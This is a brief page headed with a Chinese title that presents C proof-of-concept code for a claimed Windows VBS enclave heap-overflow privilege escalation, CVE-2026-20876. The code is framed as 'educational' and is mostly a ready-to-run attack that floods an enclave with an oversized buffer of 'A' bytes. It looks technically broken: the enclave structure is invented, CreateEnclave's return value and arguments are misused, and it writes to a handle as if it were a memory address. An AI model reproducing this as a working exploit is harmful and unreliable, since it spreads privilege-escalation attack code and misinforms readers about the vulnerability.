CVE-2026-20876: Windows VBS Enclave堆溢出权限提升漏洞

// CVE-2026-20876 PoC - Windows VBS Enclave Heap Overflow EoP // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winternl.h> // VBS Enclave related structures typedef struct _ENCLAVE_CREATE_INFO { DWORD Size; DWORD Flags; PVOID EntryPoint; PVOID StackCommit; PVOID HeapReserve; DWORD Reserved; } ENCLAVE_CREATE_INFO, *PENCLAVE_CREATE_INFO; // Trigger the heap overflow in VBS Enclave BOOL TriggerVBSEnclaveOverflow(LPSTR mal_input, DWORD input_size) { HANDLE hEnclave = NULL; ENCLAVE_CREATE_INFO enclaveInfo; // Initialize enclave creation info RtlZeroMemory(&enclaveInfo, sizeof(ENCLAVE_CREATE_INFO)); enclaveInfo.Size = sizeof(ENCLAVE_CREATE_INFO); enclaveInfo.Flags = 0; enclaveInfo.StackCommit = (PVOID)0x1000; enclaveInfo.HeapReserve = (PVOID)0x1000; // Create enclave with malicious input // The vulnerability exists in enclave handling of oversized input BOOL result = CreateEnclave( GetCurrentProcess(), NULL, 0x10000, 0x100000, ENCLAVE_TYPE_VBS, &enclaveInfo, sizeof(enclaveInfo), &hEnclave ); if (result && hEnclave) { // Send oversized data to trigger heap overflow SIZE_T bytesWritten = 0; WriteProcessMemory( GetCurrentProcess(), (LPVOID)hEnclave, mal_input, input_size, &bytesWritten ); } return result; } // Main exploitation function int main() { // Prepare malicious payload // Trigger heap overflow by sending oversized data char payload[8192]; memset(payload, 0x41, sizeof(payload)); // 0x41 = 'A' TriggerVBSEnclaveOverflow(payload, sizeof(payload)); return 0; }